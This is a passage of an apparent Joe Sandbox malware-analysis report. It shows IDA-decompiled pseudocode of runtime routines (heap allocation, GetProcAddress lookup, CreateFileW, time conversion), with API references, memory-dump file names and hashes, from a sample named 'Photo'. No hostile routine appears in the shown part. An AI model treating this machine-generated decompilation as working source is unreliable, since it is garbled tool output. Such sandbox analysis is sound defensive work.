						asm("movups [edi+0x30], xmm0");
						asm("movups xmm0, [esi+0x30]");
						asm("movups [edi+0x40], xmm0");
						asm("movups xmm0, [esi+0x40]");
						asm("movups [edi+0x50], xmm0");
						asm("movq xmm0, [esi+0x50]");
						asm("movq [edi+0x60], xmm0");
						_push( *((intOrPtr*)(_t31 + 0x18)));
						L001D775A();
						 *((intOrPtr*)(_t31 + 4)) = _t35 -  &_v104 + _t21 - _t17 + 0x58;
						E001D7760();
						return 0;
					}
				}
				L7:
			}

0x001d13d0
0x001d13d3
0x001d13da
0x001d13e5
0x001d13e9
0x001d13ef
0x001d13f5
0x001d13fa
0x001d13ff
0x001d143d
0x001d1449
0x001d1451
0x001d1401
0x001d140c
0x001d1411
0x001d1417
0x00000000
0x001d1420
0x001d1420
0x001d1428
0x001d142d
0x001d1432
0x00000000
0x00000000
0x001d1434
0x001d1435
0x001d143b
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x001d143b
0x001d1452
0x001d1455
0x001d1459
0x001d145d
0x001d1461
0x001d1465
0x001d1469
0x001d146d
0x001d1471
0x001d1475
0x001d1479
0x001d147e
0x001d1483
0x001d1486
0x001d149e
0x001d14a6
0x001d14ae
0x001d14ae
0x001d1417
0x00000000

APIs

__fread_nolock.LIBCMT ref: 001D140C
htonl.WS2_32(?), ref: 001D1486

Memory Dump Source

Source File: 00000000.00000002.438568917.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.438553301.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.440865092.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.00000000001FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.0000000000209000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441376260.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_Photo.jbxd

Similarity

API ID: __fread_nolockhtonl
String ID:
API String ID: 822407656-0
Opcode ID: 9b1415c88a2f5af7ff580db4d08bb553d22ac29432ad4f5afac76f88807ca72e
Instruction ID: 9c3418c19230621a22e4c5c7d980c72fa07eb37624a96aff6adef20acae154ec
Opcode Fuzzy Hash: 9b1415c88a2f5af7ff580db4d08bb553d22ac29432ad4f5afac76f88807ca72e
Instruction Fuzzy Hash: 99212672E08B45A7D7108B38DD416A6F3A0FFA8304F859B1AF98952682FB21F5D4C281

Uniqueness

Uniqueness Score: -1.00%

Function 001E348E Relevance: 3.1, APIs: 2, Instructions: 65
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 90%

			E001E348E(signed int _a4, CHAR* _a8, intOrPtr* _a12, intOrPtr _a16) {
				struct HINSTANCE__* _t13;
				signed int* _t20;
				signed int _t27;
				signed int _t28;
				signed int _t29;
				signed int _t33;
				intOrPtr* _t34;

				_t20 = 0x20a378 + _a4 * 4;
				_t27 =  *0x1fc008; // 0x369f4a24
				_t29 = _t28 | 0xffffffff;
				_t33 = _t27 ^  *_t20;
				asm("ror esi, cl");
				if(_t33 == _t29) {
					L14:
					return 0;
				}
				if(_t33 == 0) {
					_t34 = _a12;
					if(_t34 == _a16) {
						L7:
						_t13 = 0;
						L8:
						if(_t13 == 0) {
							L13:
							_push(0x20);
							asm("ror edi, cl");
							 *_t20 = _t29 ^ _t27;
							goto L14;
						}
						_t33 = GetProcAddress(_t13, _a8);
						if(_t33 == 0) {
							_t27 =  *0x1fc008; // 0x369f4a24
							goto L13;
						}
						 *_t20 = E001D7C89(_t33);
						goto L2;
					} else {
						goto L4;
					}
					while(1) {
						L4:
						_t13 = E001E352A( *_t34); // executed
						if(_t13 != 0) {
							break;
						}
						_t34 = _t34 + 4;
						if(_t34 != _a16) {
							continue;
						}
						_t27 =  *0x1fc008; // 0x369f4a24
						goto L7;
					}
					_t27 =  *0x1fc008; // 0x369f4a24
					goto L8;
				}
				L2:
				return _t33;
			}

0x001e3499
0x001e34a2
0x001e34a8
0x001e34b2
0x001e34b4
0x001e34b8
0x001e3523
0x00000000
0x001e3523
0x001e34bc
0x001e34c2
0x001e34c8
0x001e34e4
0x001e34e4
0x001e34e6
0x001e34e8
0x001e3513
0x001e3515
0x001e351d
0x001e3521
0x00000000
0x001e3521
0x001e34f4
0x001e34f8
0x001e350d
0x00000000
0x001e350d
0x001e3501
0x00000000
0x00000000
0x00000000
0x00000000
0x001e34ca
0x001e34ca
0x001e34cc
0x001e34d4
0x00000000
0x00000000
0x001e34d6
0x001e34dc
0x00000000
0x00000000
0x001e34de
0x00000000
0x001e34de
0x001e3505
0x00000000
0x001e3505
0x001e34be
0x00000000

APIs

GetProcAddress.KERNEL32(00000000,?), ref: 001E34EE
__crt_fast_encode_pointer.LIBVCRUNTIME ref: 001E34FB

Memory Dump Source

Source File: 00000000.00000002.438568917.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.438553301.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.440865092.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.00000000001FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.0000000000209000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441376260.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_Photo.jbxd

Similarity

API ID: AddressProc__crt_fast_encode_pointer
String ID:
API String ID: 2279764990-0
Opcode ID: 846b1d5617eb3b6b2c0105572b64fc9441788de0907c94d2807f620b14a08c30
Instruction ID: 37279971bfd0a905a51a05923f9322484f96ac0528703cfb541612f48c8b603e
Opcode Fuzzy Hash: 846b1d5617eb3b6b2c0105572b64fc9441788de0907c94d2807f620b14a08c30
Instruction Fuzzy Hash: DE112C37A009659F9F369F1AEC4496E73E5AF807207174220FC29AB384DB31DE85D6D1

Uniqueness

Uniqueness Score: -1.00%

Function 001DE609 Relevance: 3.0, APIs: 2, Instructions: 50
timeCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E001DE609(void* __edx, FILETIME* _a4) {
				signed int _v8;
				struct _SYSTEMTIME _v24;
				struct _SYSTEMTIME _v40;
				signed int _t14;
				FILETIME* _t16;
				signed int _t17;
				void* _t26;
				void* _t30;
				void* _t32;
				signed int _t33;

				_t30 = __edx;
				_t14 =  *0x1fc008; // 0x369f4a24
				_v8 = _t14 ^ _t33;
				_t16 = _a4;
				if(_t16->dwLowDateTime != 0 || _t16->dwHighDateTime != 0) {
					_t16 = FileTimeToSystemTime(_t16,  &_v40);
					if(_t16 == 0) {
						goto L2;
					} else {
						_t16 = SystemTimeToTzSpecificLocalTime(0,  &_v40,  &_v24); // executed
						if(_t16 == 0) {
							goto L2;
						} else {
							_push(0xffffffff);
							_push(_v24.wSecond & 0x0000ffff);
							_t17 = E001E56B6(_t26, _t30, _t32, _v24.wYear & 0x0000ffff, _v24.wMonth & 0x0000ffff, _v24.wDay & 0x0000ffff, _v24.wHour & 0x0000ffff, _v24.wMinute & 0x0000ffff); // executed
						}
					}
				} else {
					L2:
					_t17 = _t16 | 0xffffffff;
				}
				E001D7760();
				return _t17;
			}

0x001de609
0x001de611
0x001de618
0x001de61b
0x001de621
0x001de635
0x001de63d
0x00000000
0x001de63f
0x001de649
0x001de651
0x00000000
0x001de653
0x001de657
0x001de659
0x001de673
0x001de678
0x001de651
0x001de629
0x001de629
0x001de629
0x001de62c
0x001de680
0x001de688

APIs

FileTimeToSystemTime.KERNEL32(?,?,?,?,?,?,001DE48B,?), ref: 001DE635
SystemTimeToTzSpecificLocalTime.KERNELBASE(00000000,?,001DE48B,?,?,?,?,001DE48B,?), ref: 001DE649

Memory Dump Source

Source File: 00000000.00000002.438568917.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.438553301.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.440865092.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.00000000001FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.0000000000209000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441376260.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_Photo.jbxd

Similarity

API ID: Time$System$FileLocalSpecific
String ID:
API String ID: 1707611234-0
Opcode ID: ec6b5417a72331777db02bc48da10255c886bc0c61183fe09bacae3bef00f63b
Instruction ID: 0429e226116da1183146e8340cbcc94be3e520566f201505e1cf2d3db5b966e0
Opcode Fuzzy Hash: ec6b5417a72331777db02bc48da10255c886bc0c61183fe09bacae3bef00f63b
Instruction Fuzzy Hash: DC01D761900108AECB50EBA6C945BBE77F8AB1C712F504256F919E62C0EB38DE84D771

Uniqueness

Uniqueness Score: -1.00%

Function 001E092A Relevance: 3.0, APIs: 2, Instructions: 22
memoryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E001E092A(void* _a4) {
				char _t3;
				intOrPtr* _t4;
				intOrPtr _t6;

				if(_a4 != 0) {
					_t3 = RtlFreeHeap( *0x20a56c, 0, _a4); // executed
					if(_t3 == 0) {
						_t4 = E001DCB3C();
						_t6 = E001DCAC3(GetLastError());
						 *_t4 = _t6;
						return _t6;
					}
				}
				return _t3;
			}

0x001e0933
0x001e0940
0x001e0948
0x001e094b
0x001e0959
0x001e095f
0x00000000
0x001e0961
0x001e0948
0x001e0963

APIs

RtlFreeHeap.NTDLL(00000000,00000000,?,001E7FEF,?,00000000,?,00000000,?,001E8016,?,00000007,?,?,001E846D,?), ref: 001E0940
GetLastError.KERNEL32(?,?,001E7FEF,?,00000000,?,00000000,?,001E8016,?,00000007,?,?,001E846D,?,?), ref: 001E0952

Memory Dump Source

Source File: 00000000.00000002.438568917.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.438553301.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.440865092.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.00000000001FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.0000000000209000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441376260.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_Photo.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 24be64a6c5457e066f1c5a56a36f68b1c97802c6a36cc46016d391e1dd7a3d90
Instruction ID: c7dfea9421630b03acdb0b549042da8762cbe77c5535feab9cb45ddf35bcfb97
Opcode Fuzzy Hash: 24be64a6c5457e066f1c5a56a36f68b1c97802c6a36cc46016d391e1dd7a3d90
Instruction Fuzzy Hash: 7AE0CD3200170467DB126FB5FC0DB997B98AB14354F904415F54C96163DB70C8C1C7C4

Uniqueness

Uniqueness Score: -1.00%

Function 001DA11C Relevance: 1.7, APIs: 1, Instructions: 151
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E001DA11C(signed int __edx, intOrPtr* _a4) {
				char _v5;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _t64;
				signed int _t66;
				signed char _t68;
				signed int _t70;
				signed char _t77;
				intOrPtr* _t78;
				signed int _t79;
				signed char _t80;
				intOrPtr _t82;
				intOrPtr _t83;
				signed int _t90;
				intOrPtr _t93;
				signed int _t94;
				intOrPtr* _t95;
				signed char _t96;
				signed int _t99;
				signed int _t100;
				signed int _t103;
				signed int _t109;
				signed int _t111;
				signed int _t113;
				signed int _t114;
				signed int _t115;
				signed int _t118;
				signed int _t120;

				_t104 = __edx;
				if(_a4 != 0) {
					_t64 = E001DE04C(_a4);
					_t93 = _a4;
					_t118 = _t64;
					__eflags =  *(_t93 + 8);
					if( *(_t93 + 8) < 0) {
						 *(_t93 + 8) = 0;
					}
					_t66 = E001E26F3(_t118, 0, 0, 1); // executed
					_t90 = _t104;
					_t109 = _t66;
					_v12 = _t109;
					__eflags = _t90;
					if(__eflags > 0) {
						L7:
						_t68 =  *(_a4 + 0xc);
						__eflags = _t68 & 0x000000c0;
						if((_t68 & 0x000000c0) != 0) {
							_t70 = _t118 >> 6;
							_t94 = (_t118 & 0x0000003f) * 0x30;
							_v16 = _t70;
							_v20 = _t94;
							_t95 = _a4;
							_v5 =  *((intOrPtr*)(_t94 +  *((intOrPtr*)(0x20a118 + _t70 * 4)) + 0x29));
							_t96 =  *(_t95 + 0xc);
							asm("cdq");
							_t120 =  *_t95 -  *((intOrPtr*)(_t95 + 4));
							__eflags = _t96 & 0x00000003;
							if((_t96 & 0x00000003) == 0) {
								_t77 =  *(_a4 + 0xc) >> 2;
								__eflags = _t77 & 0x00000001;
								if((_t77 & 0x00000001) != 0) {
									L23:
									_t78 = _a4;
									L24:
									__eflags = _t109 | _t90;
									if((_t109 | _t90) == 0) {
										L30:
										_t79 = _t120;
										goto L31;
									}
									_t80 =  *(_t78 + 0xc);
									__eflags = _t80 & 0x00000001;
									if((_t80 & 0x00000001) == 0) {
										__eflags = _v5 - 1;
										if(_v5 == 1) {
											_t120 = E001D79E0(_t120, _t104, 2, 0);
										}
										_t120 = _t120 + _t109;
										asm("adc edx, ebx");
										goto L30;
									}
									_t79 = E001DA2B1(_a4, _t109, _t90, _t120, _t104);
									goto L31;
								}
								_t66 = E001DCB3C();
								 *_t66 = 0x16;
								goto L22;
							}
							__eflags = _v5 - 1;
							_t99 = _v16;
							if(_v5 != 1) {
								L13:
								_t82 =  *((intOrPtr*)(0x20a118 + _t99 * 4));
								_t100 = _v20;
								__eflags =  *(_t100 + _t82 + 0x28) & 0x00000080;
								if(( *(_t100 + _t82 + 0x28) & 0x00000080) == 0) {
									goto L23;
								}
								_t78 = _a4;
								_v20 = _v20 & 0x00000000;
								_t111 =  *(_t78 + 4);
								__eflags =  *_t78 - _t111;
								asm("sbb edi, edi");
								_t113 =  !_t111 &  *_t78 -  *(_t78 + 4);
								__eflags = _t113;
								_v16 = _t113;
								_t109 = _v12;
								if(_t113 == 0) {
									goto L24;
								}
								_t103 =  *(_t78 + 4);
								_t114 = _v20;
								do {
									__eflags =  *_t103 - 0xa;
									if( *_t103 == 0xa) {
										_t120 = _t120 + 1;
										asm("adc edx, 0x0");
									}
									_t103 = _t103 + 1;
									_t114 = _t114 + 1;
									__eflags = _t114 - _v16;
								} while (_t114 != _v16);
								_t109 = _v12;
								goto L24;
							}
							_t115 = _v20;
							_t83 =  *((intOrPtr*)(0x20a118 + _t99 * 4));
							__eflags =  *(_t115 + _t83 + 0x2d) & 0x00000002;
							_t109 = _v12;
							if(( *(_t115 + _t83 + 0x2d) & 0x00000002) == 0) {
								goto L13;
							}
							_t79 = E001DA435(_a4, _t109, _t90);
							goto L31;
						}
						asm("cdq");
						_t79 = _t109 -  *((intOrPtr*)(_a4 + 8));
						asm("sbb ebx, edx");
						goto L31;
					} else {
						if(__eflags < 0) {
							L22:
							_t79 = _t66 | 0xffffffff;
							L31:
							return _t79;
						}
						__eflags = _t109;
						if(_t109 < 0) {
							goto L22;
						}
						goto L7;
					}
				}
				 *((intOrPtr*)(E001DCB3C())) = 0x16;
				return E001E1691() | 0xffffffff;
			}

0x001da11c
0x001da128
0x001da148
0x001da14e
0x001da151
0x001da155
0x001da158
0x001da15a
0x001da15a
0x001da164
0x001da169
0x001da16e
0x001da170
0x001da173
0x001da175
0x001da185
0x001da188
0x001da18b
0x001da18d
0x001da1a8
0x001da1ab
0x001da1ae
0x001da1b8
0x001da1bf
0x001da1c2
0x001da1ca
0x001da1cd
0x001da1ce
0x001da1d0
0x001da1d3
0x001da257
0x001da25a
0x001da25c
0x001da270
0x001da270
0x001da273
0x001da275
0x001da277
0x001da2a8
0x001da2a8
0x00000000
0x001da2a8
0x001da279
0x001da27c
0x001da27e
0x001da291
0x001da295
0x001da2a2
0x001da2a2
0x001da2a4
0x001da2a6
0x00000000
0x001da2a6
0x001da287
0x00000000
0x001da28c
0x001da25e
0x001da263
0x00000000
0x001da263
0x001da1d5
0x001da1d9
0x001da1dc
0x001da204
0x001da204
0x001da20b
0x001da20e
0x001da213
0x00000000
0x00000000
0x001da215
0x001da218
0x001da221
0x001da224
0x001da226
0x001da22a
0x001da22a
0x001da22c
0x001da22f
0x001da232
0x00000000
0x00000000
0x001da234
0x001da237
0x001da23a
0x001da23a
0x001da23d
0x001da23f
0x001da242
0x001da242
0x001da245
0x001da246
0x001da247
0x001da247
0x001da24c
0x00000000
0x001da24c
0x001da1de
0x001da1e1
0x001da1e8
0x001da1ed
0x001da1f0
0x00000000
0x00000000
0x001da1f7
0x00000000
0x001da1fc
0x001da195
0x001da198
0x001da19a
0x00000000
0x001da177
0x001da177
0x001da269
0x001da269
0x001da2aa
0x00000000
0x001da2ac
0x001da17d
0x001da17f
0x00000000
0x00000000
0x00000000
0x001da17f
0x001da175
0x001da12f
0x00000000

Memory Dump Source

Source File: 00000000.00000002.438568917.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.438553301.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.440865092.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.00000000001FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.0000000000209000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441376260.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_Photo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca5bac0ed5eb7fde18b9f8b60c390dd8c2d0a7f1e667fbe231f4e6f264262771
Instruction ID: 9deba0dee3b82d0e0cb37efc2b9c3016bc006ff723993954f08d6ad53dc85525
Opcode Fuzzy Hash: ca5bac0ed5eb7fde18b9f8b60c390dd8c2d0a7f1e667fbe231f4e6f264262771
Instruction Fuzzy Hash: 22512731A00204AFDB10CF69CC55BBA7BB1EF85364F59815AE8489B391C772ED42CB92

Uniqueness

Uniqueness Score: -1.00%

Function 001E5EDB Relevance: 1.6, APIs: 1, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E001E5EDB(void* __edx, void* __edi, void* __esi, intOrPtr _a4, signed short* _a8, intOrPtr _a12, intOrPtr* _a16) {
				char _v8;
				char _v12;
				void* _v16;
				intOrPtr _v20;
				char _v32;
				void* _t25;

				E001E5C97( &_v32, _a8);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				if(_v12 != 0) {
					_t25 = E001EC158( &_v8, _a4, _v20, _a12, 0x180); // executed
					if(_t25 != 0) {
						goto L1;
					}
					 *0x209e9c =  *0x209e9c + 1;
					asm("lock or [eax], ecx");
					 *((intOrPtr*)(_a16 + 8)) = 0;
					 *((intOrPtr*)(_a16 + 0x1c)) = 0;
					 *((intOrPtr*)(_a16 + 4)) = 0;
					 *_a16 = 0;
					 *((intOrPtr*)(_a16 + 0x10)) = _v8;
					return _a16;
				}
				L1:
				return 0;
			}

0x001e5eec
0x001e5ef8
0x001e5ef9
0x001e5efa
0x001e5f01
0x001e5f19
0x001e5f23
0x00000000
0x00000000
0x001e5f28
0x001e5f34
0x001e5f3c
0x001e5f42
0x001e5f48
0x001e5f4e
0x001e5f56
0x00000000
0x001e5f59
0x001e5f03
0x00000000

APIs

__wsopen_s.LIBCMT ref: 001E5F19

Memory Dump Source

Source File: 00000000.00000002.438568917.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.438553301.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.440865092.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.00000000001FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.0000000000209000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441376260.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_Photo.jbxd

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: 6fb70022e0d4cd819237e9a26e5018522bf370c55d20c33376a7dc97893c0df1
Instruction ID: 3fc97d61289030576235deeba5f0e29f98433390167f6a512e4557f3be240797
Opcode Fuzzy Hash: 6fb70022e0d4cd819237e9a26e5018522bf370c55d20c33376a7dc97893c0df1
Instruction Fuzzy Hash: D011457190464AAFCF05DF59E94099E7BF9EF48304F1540A9F809AB312D730EE21CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 001E0A4F Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 95%

			E001E0A4F(void* __ecx, signed int _a4, signed int _a8) {
				void* _t8;
				void* _t12;
				signed int _t13;
				void* _t15;
				signed int _t18;
				long _t19;

				_t15 = __ecx;
				_t18 = _a4;
				if(_t18 == 0) {
					L2:
					_t19 = _t18 * _a8;
					if(_t19 == 0) {
						_t19 = _t19 + 1;
					}
					while(1) {
						_t8 = RtlAllocateHeap( *0x20a56c, 8, _t19); // executed
						if(_t8 != 0) {
							break;
						}
						__eflags = E001E0355();
						if(__eflags == 0) {
							L8:
							 *((intOrPtr*)(E001DCB3C())) = 0xc;
							__eflags = 0;
							return 0;
						}
						_t12 = E001E8760(_t15, __eflags, _t19);
						_pop(_t15);
						__eflags = _t12;
						if(_t12 == 0) {
							goto L8;
						}
					}
					return _t8;
				}
				_t13 = 0xffffffe0;
				if(_t13 / _t18 < _a8) {
					goto L8;
				}
				goto L2;
			}

0x001e0a4f
0x001e0a55
0x001e0a5a
0x001e0a68
0x001e0a68
0x001e0a6e
0x001e0a70
0x001e0a70
0x001e0a87
0x001e0a90
0x001e0a98
0x00000000
0x00000000
0x001e0a78
0x001e0a7a
0x001e0a9c
0x001e0aa1
0x001e0aa7
0x00000000
0x001e0aa7
0x001e0a7d
0x001e0a82
0x001e0a83
0x001e0a85
0x00000000
0x00000000
0x001e0a85
0x00000000
0x001e0a87
0x001e0a60
0x001e0a66
0x00000000
0x00000000
0x00000000

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,001E4375,00000001,00000364,?,001DAA3E,?,?,?), ref: 001E0A90

Memory Dump Source

Source File: 00000000.00000002.438568917.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.438553301.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.440865092.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.00000000001FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.0000000000209000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441376260.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_Photo.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: b40e2d1d8644ab90dfe437e35f78887981091ae4b2a00d1888eccb4fba92c845
Instruction ID: 1e0faa69131d400cfb666ab54e025197e78f0d3fd7aa0181053b85c09e80efdd
Opcode Fuzzy Hash: b40e2d1d8644ab90dfe437e35f78887981091ae4b2a00d1888eccb4fba92c845
Instruction Fuzzy Hash: C0F0E031600F6D5BDB236B57AC05B6F7758AFC8760B1D8131EC04D7191CBA0D88086E0

Uniqueness

Uniqueness Score: -1.00%

Function 001E0964 Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 94%

			E001E0964(void* __ecx, long _a4) {
				void* _t4;
				void* _t6;
				void* _t7;
				long _t8;

				_t7 = __ecx;
				_t8 = _a4;
				if(_t8 > 0xffffffe0) {
					L7:
					 *((intOrPtr*)(E001DCB3C())) = 0xc;
					__eflags = 0;
					return 0;
				}
				if(_t8 == 0) {
					_t8 = _t8 + 1;
				}
				while(1) {
					_t4 = RtlAllocateHeap( *0x20a56c, 0, _t8); // executed
					if(_t4 != 0) {
						break;
					}
					__eflags = E001E0355();
					if(__eflags == 0) {
						goto L7;
					}
					_t6 = E001E8760(_t7, __eflags, _t8);
					_pop(_t7);
					__eflags = _t6;
					if(_t6 == 0) {
						goto L7;
					}
				}
				return _t4;
			}

0x001e0964
0x001e096a
0x001e0970
0x001e09a2
0x001e09a7
0x001e09ad
0x00000000
0x001e09ad
0x001e0974
0x001e0976
0x001e0976
0x001e098d
0x001e0996
0x001e099e
0x00000000
0x00000000
0x001e097e
0x001e0980
0x00000000
0x00000000
0x001e0983
0x001e0988
0x001e0989
0x001e098b
0x00000000
0x00000000
0x001e098b
0x00000000

APIs

RtlAllocateHeap.NTDLL(00000000,?,00000000,?,001E81BF,00000000,?,001E0B60,?,00000008,?,001E3D50,?,?,?), ref: 001E0996

Memory Dump Source

Source File: 00000000.00000002.438568917.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.438553301.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.440865092.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.00000000001FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.0000000000209000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441376260.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_Photo.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: dbc4d88932ddcb540ba60f578532d1ead6aba7e14e0a46170457a859650cbf60
Instruction ID: 6d56296080b5bad79b92a415de60186d0cc5daf834ed78f57bb43c12f3c0766a
Opcode Fuzzy Hash: dbc4d88932ddcb540ba60f578532d1ead6aba7e14e0a46170457a859650cbf60
Instruction Fuzzy Hash: 41E0E521201B909EFB232E6B9C00B6E7758AB593A4F554211EC8C93193CBA0CCC082A6

Uniqueness

Uniqueness Score: -1.00%

Function 001EBB6E Relevance: 1.5, APIs: 1, Instructions: 15
fileCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E001EBB6E(WCHAR* _a4, struct _SECURITY_ATTRIBUTES* _a8, long _a16, long _a20, long _a24, signed int _a28, signed int _a32) {
				void* _t10;

				_t10 = CreateFileW(_a4, _a16, _a24, _a8, _a20, _a28 | _a32, 0); // executed
				return _t10;
			}

0x001ebb8b
0x001ebb92

APIs

CreateFileW.KERNELBASE(00000000,00000000,?,001EBED8,?,?,00000000,?,001EBED8,00000000,0000000C), ref: 001EBB8B

Memory Dump Source

Source File: 00000000.00000002.438568917.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.438553301.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.440865092.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.00000000001FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.0000000000209000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441376260.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_Photo.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: f491f17da9f0cb720b8db4ea2337e38ef750d24b1f4cd2ad6557514ddff18aeb
Instruction ID: 2743e61cd3681b48ca5732e7051aa8bb9074fa8a19561f37c871b61608466c90
Opcode Fuzzy Hash: f491f17da9f0cb720b8db4ea2337e38ef750d24b1f4cd2ad6557514ddff18aeb
Instruction Fuzzy Hash: 01D06C3200020DBBDF028F84DD06EDA3BAAFB4C754F018040BA1856060C732E861EB90

Uniqueness

Uniqueness Score: -1.00%

Function 001D4060 Relevance: 1.4, APIs: 1, Instructions: 198
sleepCOMMON

Download Yara Rule

C-Code - Quality: 55%

			E001D4060(void* __edx, intOrPtr _a4, void _a560, char _a596, char _a1120, char _a9320, char _a13424, signed int _a21628) {
				void _v0;
				void* _v4;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t57;
				signed int _t62;
				char _t63;
				signed int _t64;
				intOrPtr _t65;
				char _t66;
				void* _t69;
				void* _t71;
				void* _t73;
				void* _t76;
				signed int _t79;
				signed int _t80;
				void* _t82;
				signed int _t83;
				signed int _t84;
				void _t86;
				void _t87;
				void* _t90;
				void* _t91;
				intOrPtr _t98;
				char _t99;
				void* _t100;
				char* _t101;
				signed int _t103;
				short _t105;
				void* _t106;
				char* _t113;
				intOrPtr* _t114;
				signed int _t116;
				void* _t121;
				signed int _t122;
